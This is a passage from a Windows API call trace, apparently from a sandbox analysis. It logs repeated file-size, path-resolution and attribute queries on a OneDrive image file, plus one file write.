lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x30ce [0216.646] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8871 [0216.761] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3ce3 [0216.899] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1b33 [0217.069] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1386b [0217.323] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xfce7 [0217.724] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x14ee6 [0217.837] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1647e [0218.026] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8139 [0218.063] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x388a [0218.122] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x17196 [0218.167] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xee9 [0218.250] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x21c5 [0218.310] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3d60 [0218.468] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1623f [0218.757] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xe71b [0218.933] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x11cb9 [0219.065] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x42400 [0219.317] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x31000 [0219.600] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x40 [0219.751] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x61000 [0220.205] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x105000 [0220.908] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1106c [0221.040] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x105000 [0221.041] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1106c [0221.125] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8f1 [0221.288] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd3 [0221.420] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x186 [0221.560] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x187 [0221.654] WriteFile (in: hFile=0x314, lpBuffer=0x29a5c88*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x1ede78, lpOverlapped=0x0 | out: lpBuffer=0x29a5c88*, lpNumberOfBytesWritten=0x1ede78*=0x190, lpOverlapped=0x0) returned 1 [0221.656] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.657] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.658] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.659] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.660] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.660] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.661] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.661] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.662] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.662] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.662] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.663] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.663] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.664] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.664] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.664] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.665] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.665] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.666] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.666] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.668] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.669] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.669] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.670] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.670] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.670] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.671] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.671] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.672] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.672] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", 